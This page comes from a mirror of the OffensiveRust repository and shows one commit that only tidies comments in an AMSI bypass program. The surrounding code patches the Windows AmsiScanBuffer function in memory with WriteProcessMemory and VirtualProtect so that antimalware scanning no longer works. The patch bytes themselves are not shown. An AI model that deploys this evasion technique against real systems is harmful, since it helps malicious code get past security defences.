admin/trickster0-OffensiveRust
1
0
Fork 0
mirror of https://github.com/trickster0/OffensiveRust synced 2026-06-08 17:54:47 +00:00
Code Issues Packages Projects Releases Wiki Activity

Fixed comments

Browse Source
This commit is contained in:
Ido Veltzman
2022-02-02 20:23:16 +02:00
parent 4f6f33714b
commit 63064fe1a6
1 changed files with 3 additions and 3 deletions
Download Patch File Download Diff File Expand all files Collapse all files
amsi_bypass/src/main.rs
+3 -3
View File
@@ -24,7 +24,7 @@ use winapi::{
};
fn main() {
println!("[+] Patching 4ms1 for current process...");
println!("[+] Patching amsi for current process...");
unsafe {
// Getting the address of AmsiScanBuffer.
@@ -42,9 +42,9 @@ fn main() {
if WriteProcessMemory(GetCurrentProcess(), amsi_scan_addr.cast(), patch.as_ptr().cast(), 6, written) == FALSE {
panic!("[-] Failed to overwrite function.");
}
VirtualProtect(amsi_scan_addr.cast(), 6, old_permissions, &mut old_permissions);
// Spawn the new powershell.
// Restoring the permissions.
VirtualProtect(amsi_scan_addr.cast(), 6, old_permissions, &mut old_permissions);
println!("[+] AmsiScanBuffer patched!");
}
}